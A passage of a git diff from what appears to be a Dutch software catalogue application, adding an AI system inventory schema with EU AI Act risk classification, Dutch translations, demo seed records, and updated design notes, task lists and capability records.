uses, with its EU AI Act classification.": "Een AI-agent, AI-model of AI-functie die de organisatie gebruikt, met de indeling onder de Europese AI-verordening.", + "The name the organisation uses for this AI system.": "De naam die de organisatie voor dit AI-systeem gebruikt.", + "What the AI system is and how it is used.": "Wat het AI-systeem is en hoe het wordt gebruikt.", + "Kind": "Soort", + "An AI agent acts on its own, an AI model is a trained model, an AI feature is part of an application.": "Een AI-agent handelt zelfstandig, een AI-model is een getraind model, een AI-functie is onderdeel van een applicatie.", + "AI agent": "AI-agent", + "AI model": "AI-model", + "AI feature": "AI-functie", + "The application this AI system runs in or supports.": "De applicatie waarin dit AI-systeem draait of die het ondersteunt.", + "The organisation that supplies the AI system.": "De organisatie die het AI-systeem levert.", + "Purpose": "Doel", + "What the AI system decides, recommends or produces.": "Wat het AI-systeem beslist, adviseert of maakt.", + "AI Act risk category": "Risicocategorie AI-verordening", + "The risk category under the EU AI Act, as the organisation classified it.": "De risicocategorie onder de Europese AI-verordening, zoals de organisatie die heeft vastgesteld.", + "Prohibited": "Verboden", + "High risk": "Hoog risico", + "Limited risk": "Beperkt risico", + "Minimal risk": "Minimaal risico", + "Not yet assessed": "Nog niet beoordeeld", + "Role under the AI Act": "Rol onder de AI-verordening", + "Whether the organisation provides the AI system or deploys it.": "Of de organisatie het AI-systeem aanbiedt of gebruikt.", + "Deployer": "Gebruiksverantwoordelijke", + "Algorithm register entry": "Vermelding in het algoritmeregister", + "The link to this system in the Dutch algorithm register.": "De link naar dit systeem in het Algoritmeregister van de Nederlandse overheid.", + "Last assessed on": "Laatst beoordeeld op", + "The date the classification was last assessed.": "De datum waarop de indeling voor het laatst is beoordeeld.", + "Fundamental rights impact assessment": "Grondrechteneffectbeoordeling", + "A reference to the fundamental rights impact assessment (FRIA). A high-risk system without one is flagged.": "Een verwijzing naar de grondrechteneffectbeoordeling (FRIA). Een systeem met hoog risico zonder beoordeling krijgt een waarschuwing.", + "Where the AI system stands in its lifecycle.": "Waar het AI-systeem staat in zijn levenscyclus.", + "AI Act evidence": "Bewijs voor de AI-verordening", + "Attach a document under Documents and give it the matching tag.": "Voeg een document toe onder Documenten en geef het de passende tag.", + "FRIA missing": "FRIA ontbreekt", + "Fundamental rights impact assessment (FRIA)": "Grondrechteneffectbeoordeling (FRIA)", + "Human oversight": "Menselijk toezicht", + "Loading the evidence": "Het bewijs wordt geladen", + "Logging": "Logging", + "Missing": "Ontbreekt", + "Technical documentation": "Technische documentatie", + "The evidence could not be loaded.": "Het bewijs kon niet worden geladen.", + "This is a high-risk AI system without a fundamental rights impact assessment.": "Dit is een AI-systeem met hoog risico zonder grondrechteneffectbeoordeling.", + "AI systems": "AI-systemen", + "The AI agents, AI models and AI features your organisation uses, with their EU AI Act risk category.": "De AI-agents, AI-modellen en AI-functies die je organisatie gebruikt, met hun risicocategorie onder de Europese AI-verordening.", + "FRIA": "FRIA", + "High risk without FRIA": "Hoog risico zonder FRIA", + "Application and supplier": "Applicatie en leverancier", + "No AI systems registered for this application": "Nog geen AI-systemen geregistreerd voor deze applicatie" } } diff --git a/lib/Settings/softwarecatalogus_register.json b/lib/Settings/softwarecatalogus_register.json index 907a326a1..427bfb697 100644 --- a/lib/Settings/softwarecatalogus_register.json +++ b/lib/Settings/softwarecatalogus_register.json @@ -3,8 +3,8 @@ "info": { "title": "Software Catalog Register", "description": "Register containing AMEF and Voorzieningen schemas for the VNG Software Catalog application. This configuration includes schemas for applications, services, organizations, and compliance tracking.", - "version": "2.5.2", - "changelog": "2.5.2: the connection schema (0.3.3) asked its national provision picker for gemmaType Buitengemeentenlijke voorziening, a spelling the GEMMA model does not use (it says Buitengemeentelijke voorziening), so the picker found nothing; its name template named the keys gegevensuitwisselingRichting and buitengemeentelijkVoorziening and the values AnaarB, BnaarA and bi-directioneel, all renamed since, so a connection had no readable name; and type, status and dataExchangeDirection become facetable for the new Connections page (connections-catalogue-pages). 2.5.1: the x-openregister-lifecycle blocks of usage, catalogContract, connection and moduleVersion still named the Dutch states (Verwerving/Gepland/In productie/Uit te faseren/Uitgefaseerd, In onderhandeling/Actief/Verlopen, in ontwikkeling/in gebruik/einde ondersteuning/teruggetrokken) while their status enums and the rows RenameDutchCatalogValues migrated are English, so no transition was ever offered on those records (stackiq#1140). The states now use the enum values, and the four schema versions are bumped (usage 1.5.1, catalogContract 0.1.2, connection 0.3.2, moduleVersion 0.1.5) because a lifecycle-only edit does not deploy without one, as 2.4.4 records. 2.4.4: organization.status was left behind by #520's enum translation — its `default` was still 'Concept' and its whole x-openregister-lifecycle block still named Concept/Actief/Deactief, while the enum and the migrated rows are Draft/Active/Inactive/merged. A default outside its own enum makes every newly created organisation fall out of the Organisations index filter, and a lifecycle whose from/to values match no row offers no transition at all — neither raises an error. The schema version is bumped with it because a deployed version >= the declared one makes the import SKIP, and OpenRegister's schemaContentDiffers() escape hatch compares only properties/required/authorization — never `configuration` — so a lifecycle-only edit would never have deployed. 2.4.3: Re-authored Dutch schema-level titles to English (dienst, kwetsbaarheid, contactpersoon, organisatie, gebruik, koppeling, beoordeeling, module, bioMaatregel, moduleVersie, sbomComponent); schema keys unchanged, Dutch labels now come from the app's l10n translation files. 2.4.2: Moved SBOM provenance properties (sbomLastImportedAt, sbomFormat, sbomFileName, sbomComponents) from the organisatie schema to moduleVersie, where SBOM imports actually record them; without this the moduleVersie magic table lacked the columns so recordProvenance() writes were silently dropped and the import-status endpoint always reported 'never imported'. 2.4.1: Re-authored Dutch schema property titles to English (property keys unchanged); Dutch labels now come from the app's l10n translation files." + "version": "2.5.3", + "changelog": "2.5.3: the aiSystem schema (0.1.0) joins the stackiq register, for the AI systems an organisation uses and their EU AI Act classification (landscape-ai-system-inventory). 2.5.2: the connection schema (0.3.3) asked its national provision picker for gemmaType Buitengemeentenlijke voorziening, a spelling the GEMMA model does not use (it says Buitengemeentelijke voorziening), so the picker found nothing; its name template named the keys gegevensuitwisselingRichting and buitengemeentelijkVoorziening and the values AnaarB, BnaarA and bi-directioneel, all renamed since, so a connection had no readable name; and type, status and dataExchangeDirection become facetable for the new Connections page (connections-catalogue-pages). 2.5.1: the x-openregister-lifecycle blocks of usage, catalogContract, connection and moduleVersion still named the Dutch states (Verwerving/Gepland/In productie/Uit te faseren/Uitgefaseerd, In onderhandeling/Actief/Verlopen, in ontwikkeling/in gebruik/einde ondersteuning/teruggetrokken) while their status enums and the rows RenameDutchCatalogValues migrated are English, so no transition was ever offered on those records (stackiq#1140). The states now use the enum values, and the four schema versions are bumped (usage 1.5.1, catalogContract 0.1.2, connection 0.3.2, moduleVersion 0.1.5) because a lifecycle-only edit does not deploy without one, as 2.4.4 records. 2.4.4: organization.status was left behind by #520's enum translation — its `default` was still 'Concept' and its whole x-openregister-lifecycle block still named Concept/Actief/Deactief, while the enum and the migrated rows are Draft/Active/Inactive/merged. A default outside its own enum makes every newly created organisation fall out of the Organisations index filter, and a lifecycle whose from/to values match no row offers no transition at all — neither raises an error. The schema version is bumped with it because a deployed version >= the declared one makes the import SKIP, and OpenRegister's schemaContentDiffers() escape hatch compares only properties/required/authorization — never `configuration` — so a lifecycle-only edit would never have deployed. 2.4.3: Re-authored Dutch schema-level titles to English (dienst, kwetsbaarheid, contactpersoon, organisatie, gebruik, koppeling, beoordeeling, module, bioMaatregel, moduleVersie, sbomComponent); schema keys unchanged, Dutch labels now come from the app's l10n translation files. 2.4.2: Moved SBOM provenance properties (sbomLastImportedAt, sbomFormat, sbomFileName, sbomComponents) from the organisatie schema to moduleVersie, where SBOM imports actually record them; without this the moduleVersie magic table lacked the columns so recordProvenance() writes were silently dropped and the import-status endpoint always reported 'never imported'. 2.4.1: Re-authored Dutch schema property titles to English (property keys unchanged); Dutch labels now come from the app's l10n translation files." }, "x-openregister": { "type": "application", @@ -835,7 +835,8 @@ "compliancy", "moduleVersion", "sbomComponent", - "bioMeasure" + "bioMeasure", + "aiSystem" ], "source": "internal", "tablePrefix": "", @@ -8054,6 +8055,319 @@ "objectDescriptionField": "purl", "autoPublish": true } + }, + "aiSystem": { + "uri": null, + "slug": "aiSystem", + "title": "AI system", + "x-schema-org": "schema:SoftwareApplication", + "description": "An AI agent, AI model or AI feature the organisation uses, with its EU AI Act classification.", + "version": "0.1.0", + "icon": "RobotOutline", + "required": [ + "name" + ], + "source": "internal", + "hardValidation": false, + "immutable": false, + "searchable": true, + "maxDepth": 0, + "properties": { + "name": { + "type": "string", + "title": "Name", + "description": "The name the organisation uses for this AI system.", + "facetable": false, + "order": 1, + "table": { + "default": true + } + }, + "description": { + "type": "string", + "format": "markdown", + "title": "Description", + "description": "What the AI system is and how it is used.", + "facetable": false, + "order": 2 + }, + "kind": { + "type": "string", + "enum": [ + "AI agent", + "AI model", + "AI feature" + ], + "x-enum-labels": { + "AI agent": "AI agent", + "AI model": "AI model", + "AI feature": "AI feature" + }, + "title": "Kind", + "description": "An AI agent acts on its own, an AI model is a trained model, an AI feature is part of an application.", + "facetable": true, + "order": 3, + "table": { + "default": true + } + }, + "module": { + "type": "object", + "$ref": "#/components/schemas/module", + "objectConfiguration": { + "handling": "related-object" + }, + "inversedBy": "aiSystems", + "title": "Application", + "description": "The application this AI system runs in or supports.", + "facetable": true, + "order": 4, + "table": { + "default": true + } + }, + "provider": { + "type": "object", + "$ref": "#/components/schemas/organization", + "objectConfiguration": { + "handling": "related-object" + }, + "title": "Supplier", + "description": "The organisation that supplies the AI system.", + "facetable": true, + "order": 5 + }, + "purpose": { + "type": "string", + "title": "Purpose", + "description": "What the AI system decides, recommends or produces.", + "facetable": false, + "order": 6 + }, + "aiActRiskCategory": { + "type": "string", + "enum": [ + "prohibited", + "high risk", + "limited risk", + "minimal risk", + "not yet assessed" + ], + "x-enum-labels": { + "prohibited": "Prohibited", + "high risk": "High risk", + "limited risk": "Limited risk", + "minimal risk": "Minimal risk", + "not yet assessed": "Not yet assessed" + }, + "default": "not yet assessed", + "title": "AI Act risk category", + "description": "The risk category under the EU AI Act, as the organisation classified it.", + "facetable": true, + "order": 7, + "table": { + "default": true + } + }, + "aiActRole": { + "type": "string", + "enum": [ + "provider", + "deployer" + ], + "x-enum-labels": { + "provider": "Provider", + "deployer": "Deployer" + }, + "title": "Role under the AI Act", + "description": "Whether the organisation provides the AI system or deploys it.", + "facetable": true, + "order": 8 + }, + "algorithmRegisterUrl": { + "type": "string", + "format": "uri", + "title": "Algorithm register entry", + "description": "The link to this system in the Dutch algorithm register.", + "facetable": false, + "order": 9 + }, + "assessedOn": { + "type": "string", + "format": "date", + "title": "Last assessed on", + "description": "The date the classification was last assessed.", + "facetable": false, + "order": 10 + }, + "friaDocumentRef": { + "type": "string", + "title": "Fundamental rights impact assessment", + "description": "A reference to the fundamental rights impact assessment (FRIA). A high-risk system without one is flagged.", + "facetable": false, + "order": 11 + }, + "status": { + "type": "string", + "enum": [ + "in development", + "in use", + "withdrawn" + ], + "x-enum-labels": { + "in development": "In development", + "in use": "In use", + "withdrawn": "Withdrawn" + }, + "default": "in use", + "title": "Status", + "description": "Where the AI system stands in its lifecycle.", + "facetable": true, + "order": 12, + "table": { + "default": true + } + } + }, + "configuration": { + "objectNameField": "name", + "objectDescriptionField": "purpose", + "allowFiles": true, + "allowedTags": [ + "FRIA", + "Technical documentation", + "Human oversight", + "Logging" + ], + "autoPublish": false, + "x-openregister-lifecycle": { + "field": "status", + "initial": "in development", + "final": [ + "withdrawn" + ], + "transitions": { + "release": { + "from": [ + "in development" + ], + "to": "in use", + "description": "Take the AI system into use." + }, + "withdraw": { + "from": [ + "in development", + "in use" + ], + "to": "withdrawn", + "description": "Withdraw the AI system." + } + } + } + }, + "authorization": { + "create": [ + "software-catalog-admins", + "organisatie-beheerder", + "organisaties-beheerder", + "functioneel-beheerder", + "gebruik-beheerder", + "aanbod-beheerder" + ], + "read": [ + "software-catalog-admins", + { + "group": "organisatie-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "organisaties-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "functioneel-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "gebruik-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "aanbod-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "aanbod-beheerder", + "match": { + "provider": "$organisation" + } + } + ], + "update": [ + "software-catalog-admins", + { + "group": "organisatie-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "organisaties-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "functioneel-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "gebruik-beheerder", + "match": { + "_organisation": "$organisation" + } + } + ], + "delete": [ + "software-catalog-admins", + { + "group": "organisatie-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "organisaties-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "functioneel-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "gebruik-beheerder", + "match": { + "_organisation": "$organisation" + } + } + ] + } } }, "objects": [ diff --git a/lib/Settings/stackiq_mock_register.json b/lib/Settings/stackiq_mock_register.json index 2fd933313..3d2ab16cf 100644 --- a/lib/Settings/stackiq_mock_register.json +++ b/lib/Settings/stackiq_mock_register.json @@ -7343,6 +7343,319 @@ "objectDescriptionField": "longDescription", "autoPublish": false } + }, + "aiSystem": { + "uri": null, + "slug": "aiSystem", + "title": "AI system", + "x-schema-org": "schema:SoftwareApplication", + "description": "An AI agent, AI model or AI feature the organisation uses, with its EU AI Act classification.", + "version": "0.1.0", + "icon": "RobotOutline", + "required": [ + "name" + ], + "source": "internal", + "hardValidation": false, + "immutable": false, + "searchable": true, + "maxDepth": 0, + "properties": { + "name": { + "type": "string", + "title": "Name", + "description": "The name the organisation uses for this AI system.", + "facetable": false, + "order": 1, + "table": { + "default": true + } + }, + "description": { + "type": "string", + "format": "markdown", + "title": "Description", + "description": "What the AI system is and how it is used.", + "facetable": false, + "order": 2 + }, + "kind": { + "type": "string", + "enum": [ + "AI agent", + "AI model", + "AI feature" + ], + "x-enum-labels": { + "AI agent": "AI agent", + "AI model": "AI model", + "AI feature": "AI feature" + }, + "title": "Kind", + "description": "An AI agent acts on its own, an AI model is a trained model, an AI feature is part of an application.", + "facetable": true, + "order": 3, + "table": { + "default": true + } + }, + "module": { + "type": "object", + "$ref": "#/components/schemas/module", + "objectConfiguration": { + "handling": "related-object" + }, + "inversedBy": "aiSystems", + "title": "Application", + "description": "The application this AI system runs in or supports.", + "facetable": true, + "order": 4, + "table": { + "default": true + } + }, + "provider": { + "type": "object", + "$ref": "#/components/schemas/organization", + "objectConfiguration": { + "handling": "related-object" + }, + "title": "Supplier", + "description": "The organisation that supplies the AI system.", + "facetable": true, + "order": 5 + }, + "purpose": { + "type": "string", + "title": "Purpose", + "description": "What the AI system decides, recommends or produces.", + "facetable": false, + "order": 6 + }, + "aiActRiskCategory": { + "type": "string", + "enum": [ + "prohibited", + "high risk", + "limited risk", + "minimal risk", + "not yet assessed" + ], + "x-enum-labels": { + "prohibited": "Prohibited", + "high risk": "High risk", + "limited risk": "Limited risk", + "minimal risk": "Minimal risk", + "not yet assessed": "Not yet assessed" + }, + "default": "not yet assessed", + "title": "AI Act risk category", + "description": "The risk category under the EU AI Act, as the organisation classified it.", + "facetable": true, + "order": 7, + "table": { + "default": true + } + }, + "aiActRole": { + "type": "string", + "enum": [ + "provider", + "deployer" + ], + "x-enum-labels": { + "provider": "Provider", + "deployer": "Deployer" + }, + "title": "Role under the AI Act", + "description": "Whether the organisation provides the AI system or deploys it.", + "facetable": true, + "order": 8 + }, + "algorithmRegisterUrl": { + "type": "string", + "format": "uri", + "title": "Algorithm register entry", + "description": "The link to this system in the Dutch algorithm register.", + "facetable": false, + "order": 9 + }, + "assessedOn": { + "type": "string", + "format": "date", + "title": "Last assessed on", + "description": "The date the classification was last assessed.", + "facetable": false, + "order": 10 + }, + "friaDocumentRef": { + "type": "string", + "title": "Fundamental rights impact assessment", + "description": "A reference to the fundamental rights impact assessment (FRIA). A high-risk system without one is flagged.", + "facetable": false, + "order": 11 + }, + "status": { + "type": "string", + "enum": [ + "in development", + "in use", + "withdrawn" + ], + "x-enum-labels": { + "in development": "In development", + "in use": "In use", + "withdrawn": "Withdrawn" + }, + "default": "in use", + "title": "Status", + "description": "Where the AI system stands in its lifecycle.", + "facetable": true, + "order": 12, + "table": { + "default": true + } + } + }, + "configuration": { + "objectNameField": "name", + "objectDescriptionField": "purpose", + "allowFiles": true, + "allowedTags": [ + "FRIA", + "Technical documentation", + "Human oversight", + "Logging" + ], + "autoPublish": false, + "x-openregister-lifecycle": { + "field": "status", + "initial": "in development", + "final": [ + "withdrawn" + ], + "transitions": { + "release": { + "from": [ + "in development" + ], + "to": "in use", + "description": "Take the AI system into use." + }, + "withdraw": { + "from": [ + "in development", + "in use" + ], + "to": "withdrawn", + "description": "Withdraw the AI system." + } + } + } + }, + "authorization": { + "create": [ + "software-catalog-admins", + "organisatie-beheerder", + "organisaties-beheerder", + "functioneel-beheerder", + "gebruik-beheerder", + "aanbod-beheerder" + ], + "read": [ + "software-catalog-admins", + { + "group": "organisatie-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "organisaties-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "functioneel-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "gebruik-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "aanbod-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "aanbod-beheerder", + "match": { + "provider": "$organisation" + } + } + ], + "update": [ + "software-catalog-admins", + { + "group": "organisatie-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "organisaties-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "functioneel-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "gebruik-beheerder", + "match": { + "_organisation": "$organisation" + } + } + ], + "delete": [ + "software-catalog-admins", + { + "group": "organisatie-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "organisaties-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "functioneel-beheerder", + "match": { + "_organisation": "$organisation" + } + }, + { + "group": "gebruik-beheerder", + "match": { + "_organisation": "$organisation" + } + } + ] + } } }, "objects": [ @@ -10520,6 +10833,102 @@ "longDescription": "Voorbeeld markdown 2", "cveCode": "CVE-2345-2345", "cvssScore": 2.0 + }, + { + "@self": { + "register": "stackiq", + "schema": "aiSystem", + "slug": "ai-system-chat-assistant" + }, + "name": "Chat assistant", + "kind": "AI feature", + "module": {}, + "provider": {}, + "purpose": "Answers residents' questions about permits on the website and hands over to an employee.", + "aiActRiskCategory": "limited risk", + "aiActRole": "deployer", + "assessedOn": "2026-06-01", + "algorithmRegisterUrl": "https://algoritmes.overheid.nl/", + "status": "in use" + }, + { + "@self": { + "register": "stackiq", + "schema": "aiSystem", + "slug": "ai-system-benefit-scoring-model" + }, + "name": "Benefit application scoring model", + "kind": "AI model", + "module": {}, + "provider": {}, + "purpose": "Ranks benefit applications for a manual check.", + "aiActRiskCategory": "high risk", + "aiActRole": "deployer", + "assessedOn": "2026-05-15", + "status": "in development" + }, + { + "@self": { + "register": "stackiq", + "schema": "aiSystem", + "slug": "ai-system-mail-sorting-agent" + }, + "name": "Mail sorting agent", + "kind": "AI agent", + "module": {}, + "provider": {}, + "purpose": "Sorts incoming mail to the right team.", + "aiActRiskCategory": "minimal risk", + "aiActRole": "deployer", + "status": "in use" + }, + { + "@self": { + "register": "vng-gemma", + "schema": "aiSystem", + "slug": "ai-system-chat-assistant-gemma" + }, + "name": "Chat assistant", + "kind": "AI feature", + "module": {}, + "provider": {}, + "purpose": "Answers residents' questions about permits on the website and hands over to an employee.", + "aiActRiskCategory": "limited risk", + "aiActRole": "deployer", + "assessedOn": "2026-06-01", + "algorithmRegisterUrl": "https://algoritmes.overheid.nl/", + "status": "in use" + }, + { + "@self": { + "register": "vng-gemma", + "schema": "aiSystem", + "slug": "ai-system-benefit-scoring-model-gemma" + }, + "name": "Benefit application scoring model", + "kind": "AI model", + "module": {}, + "provider": {}, + "purpose": "Ranks benefit applications for a manual check.", + "aiActRiskCategory": "high risk", + "aiActRole": "deployer", + "assessedOn": "2026-05-15", + "status": "in development" + }, + { + "@self": { + "register": "vng-gemma", + "schema": "aiSystem", + "slug": "ai-system-mail-sorting-agent-gemma" + }, + "name": "Mail sorting agent", + "kind": "AI agent", + "module": {}, + "provider": {}, + "purpose": "Sorts incoming mail to the right team.", + "aiActRiskCategory": "minimal risk", + "aiActRole": "deployer", + "status": "in use" } ] } diff --git a/openspec/changes/landscape-ai-system-inventory/.openspec.yaml b/openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/.openspec.yaml similarity index 100% rename from openspec/changes/landscape-ai-system-inventory/.openspec.yaml rename to openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/.openspec.yaml diff --git a/openspec/changes/landscape-ai-system-inventory/design.md b/openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/design.md similarity index 87% rename from openspec/changes/landscape-ai-system-inventory/design.md rename to openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/design.md index 3aff7e287..de5f8e442 100644 --- a/openspec/changes/landscape-ai-system-inventory/design.md +++ b/openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/design.md @@ -4,11 +4,11 @@ Read at development `49e65cb4`. ## Context -The catalogue holds applications (`module`, `lib/Settings/softwarecatalogus_register.json:6779` schema) and organisations' usages of them (`usage`, `:2656`). An AI system either is a product of its own or runs inside an application; in both cases the organisation needs to see it next to the application and classify it. New schemas go in a fragment (ADR-037) that appends them to the `stackiq` register (`SettingsService::loadSettings()`, `lib/Service/SettingsService.php:1653-1680`). +The catalogue holds applications (`module`, `lib/Settings/softwarecatalogus_register.json:6779` schema) and organisations' usages of them (`usage`, `:2656`). An AI system either is a product of its own or runs inside an application; in both cases the organisation needs to see it next to the application and classify it. As built, the schema is in the monolith, not in a fragment: in this repo a `register.d` fragment only overlays a schema the monolith declares (`tests/Unit/Service/ReviewModerationOverlayReachesTheSchemaTest.php`), and a page may only read a schema its register attaches in the monolith (`tests/Unit/AppInfo/ManifestRegisterSentinelTest.php`). The register goes to 2.5.3. ## D1. The aiSystem schema -`lib/Settings/register.d/ai-system-inventory.json`, schema.org type `SoftwareApplication` with `applicationCategory` AI: +`lib/Settings/softwarecatalogus_register.json` (as built; see below), schema.org type `SoftwareApplication` with `applicationCategory` AI: | property | type | notes | |---|---|---| diff --git a/openspec/changes/landscape-ai-system-inventory/proposal.md b/openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/proposal.md similarity index 100% rename from openspec/changes/landscape-ai-system-inventory/proposal.md rename to openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/proposal.md diff --git a/openspec/changes/landscape-ai-system-inventory/specs/ai-system-inventory/spec.md b/openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/specs/ai-system-inventory/spec.md similarity index 100% rename from openspec/changes/landscape-ai-system-inventory/specs/ai-system-inventory/spec.md rename to openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/specs/ai-system-inventory/spec.md diff --git a/openspec/changes/landscape-ai-system-inventory/tasks.md b/openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/tasks.md similarity index 57% rename from openspec/changes/landscape-ai-system-inventory/tasks.md rename to openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/tasks.md index 9f3be00de..d9dc9f77e 100644 --- a/openspec/changes/landscape-ai-system-inventory/tasks.md +++ b/openspec/changes/archive/2026-09-29-landscape-ai-system-inventory/tasks.md @@ -4,11 +4,11 @@ ### Task 1: The aiSystem schema - **spec_ref**: openspec/changes/landscape-ai-system-inventory/specs/ai-system-inventory/spec.md#requirement-req-ais-001-an-organisation-registers-the-ai-systems-it-uses-next-to-their-applications -- **files**: `lib/Settings/register.d/ai-system-inventory.json`, `lib/Settings/stackiq_mock_register.json` +- **files**: `lib/Settings/softwarecatalogus_register.json`, `lib/Settings/stackiq_mock_register.json` - **acceptance_criteria**: - GIVEN the merged register WHEN it is imported THEN the stackiq register lists aiSystem with its lifecycle and file tags -- [ ] Implement -- [ ] Test (PHPUnit `tests/Unit/Settings/AiSystemFragmentTest.php`) +- [x] Implement +- [x] Test (PHPUnit `tests/Unit/Settings/AiSystemFragmentTest.php`) ### Task 2: Pages and the application page section - **spec_ref**: openspec/changes/landscape-ai-system-inventory/specs/ai-system-inventory/spec.md#requirement-req-ais-002-an-ai-system-carries-its-ai-act-classification-and-evidence @@ -16,8 +16,8 @@ - **acceptance_criteria**: - GIVEN an application with one AI feature WHEN its page opens THEN the AI systems section lists it with its risk category - GIVEN the AI systems list WHEN the user filters on high risk THEN only high-risk systems remain -- [ ] Implement -- [ ] Test (Playwright `tests/e2e/workflows/ai-systems.spec.ts`) +- [x] Implement +- [x] Test (Playwright `tests/e2e/workflows/ai-systems.spec.ts`) ### Task 3: Evidence checklist and missing FRIA flag - **spec_ref**: openspec/changes/landscape-ai-system-inventory/specs/ai-system-inventory/spec.md#requirement-req-ais-003-a-high-risk-ai-system-without-a-fundamental-rights-impact-assessment-is-flagged @@ -25,19 +25,28 @@ - **acceptance_criteria**: - GIVEN a high-risk AI system without a FRIA reference WHEN the list is filtered on High risk without FRIA THEN it is listed with a warning - GIVEN its FRIA reference is filled WHEN the list reloads THEN it is no longer listed -- [ ] Implement -- [ ] Test (vitest `tests/vitest/aiActChecklist.spec.js`; Playwright case in `tests/e2e/workflows/ai-systems.spec.ts`) +- [x] Implement +- [x] Test (vitest `tests/vitest/aiActChecklist.spec.js`; Playwright case in `tests/e2e/workflows/ai-systems.spec.ts`) ### Task 4: Documentation - **spec_ref**: openspec/changes/landscape-ai-system-inventory/specs/ai-system-inventory/spec.md#requirement-req-ais-001-an-organisation-registers-the-ai-systems-it-uses-next-to-their-applications - **files**: `docs/features/ai-systems.md`, `docs/images/ai-systems.png` - **acceptance_criteria**: - GIVEN the docs site WHEN a reader opens AI systems THEN registering, classifying and the evidence checklist are explained with a screenshot -- [ ] Implement -- [ ] Test (docs build, screenshot with Playwright) +- [x] Implement +- [x] Test (docs build, screenshot with Playwright) ## Verification - `openspec validate landscape-ai-system-inventory --type change --strict` passes. - `composer check:strict` and `npm run lint` pass; the PHPUnit, vitest and Playwright cases above pass. - English and Dutch strings for every new label (ADR-005); docs with a screenshot (ADR-010). + +## As built (2026-09-29) + +- The schema, pages, checklist rule and seeds are tested in `tests/Unit/Settings/AiSystemFragmentTest.php` and `tests/vitest/aiSystems.spec.js` (the vitest file also covers what `aiActChecklist.spec.js` was to hold). +- The aiSystem schema lives in `lib/Settings/softwarecatalogus_register.json` (register 2.5.3), not in a fragment: the repo's own tests allow fragments only to overlay existing schemas. +- The app cell formatters live in `src/formatters.js`; `tests/vitest/connectionRegistry.spec.js` now asserts none shadows a library built-in, instead of asserting App.vue passes none. +- The High risk without FRIA filter sends `friaDocumentRef=IS NULL`, which OpenRegister's property filter reads as a null check. The warning column uses an app cell formatter `friaStatus` (src/utils/aiAct.js), passed to CnAppRoot as `formatters`. +- `tests/e2e/workflows/ai-systems.spec.ts` seeds the AI systems through the objects API, the call the Add form makes, rather than typing into the form. It lists but was not run: no local instance has a seeded stackiq register. The docs screenshot waits for that instance; `docs/images/ai-systems.png` is not added. +- Seeds: a chat assistant (AI feature, limited risk), a scoring model (AI model, high risk, no FRIA) and a mail sorting agent (AI agent, minimal risk); gate 101 asks three per schema. Like every other demo object they carry no relation, so the chat assistant is not linked to a demo application. diff --git a/openspec/parity/capabilities.json b/openspec/parity/capabilities.json index 8015594dc..7abc3c71a 100644 --- a/openspec/parity/capabilities.json +++ b/openspec/parity/capabilities.json @@ -5283,13 +5283,14 @@ "name": "Register the AI agents and AI models the organisation uses and link them to the applications and processes they support.", "origin": "changelog", "originUrl": "https://updates.leanix.net/announcements/discover-verify-and-govern-ai-assets-with-sap-ai-agent-hub", - "stackiq": "no", + "stackiq": "partial", "built": { - "state": "specified", - "evidence": "no schema for AI agents or models in lib/Settings/softwarecatalogus_register.json (20 schemas, none for AI systems)", - "owner": "ConductionNL/stackiq" + "state": "built", + "evidence": "lib/Settings/softwarecatalogus_register.json schema aiSystem (kind AI agent/AI model/AI feature, module, provider, purpose, status with lifecycle) in the stackiq register; src/manifest.d/ai-systems.json pages AiSystems (/ai-systems) and AiSystemDetail; ModuleDetail widget md-ai-systems; tests/Unit/Settings/AiSystemFragmentTest.php, tests/vitest/aiSystems.spec.js", + "owner": "ConductionNL/stackiq", + "change": "2026-09-29-landscape-ai-system-inventory" }, - "reachedOn": "nothing reaches it", + "reachedOn": "Applications > AI systems (/ai-systems), AI system page, and the AI systems section on the application page", "provider": "stackiq", "providerHow": "read-from-code", "featureConfidence": "medium", @@ -5299,9 +5300,10 @@ "vng-softwarecatalogus": "unknown: AI agents and models are not described; searched the public manuals and FAQ at https://www.softwarecatalogus.nl/node/16564, https://www.softwarecatalogus.nl/node/13683, https://www.softwarecatalogus.nl/node/19703, https://www.softwarecatalogus.nl/Gebruikershandleiding_leverancier (read 2026-09-26)", "bluedolphin": "not checked: row added in wave 5 (2026-09-26), no reading of this system for it yet", "glpi": "source read at 11.0.9: no AI system itemtype (grep -rli 'artificial intelligence' over src/ locales/glpi.pot returns nothing); an admin can define an 'AI model' custom asset type (src/Html.php:1330 Setup > Asset definitions, src/Glpi/Asset/AssetDefinition.php) and link it to applications as an Appliance item (src/Appliance_Item.php:45) or impact relation (install/mysql/glpi-empty.sql:1247). There is no process model to link to. Reached on: Setup > Asset definitions, then Appliance > Items tab.", - "topdesk": "unknown: AI agents and models as registered items are not 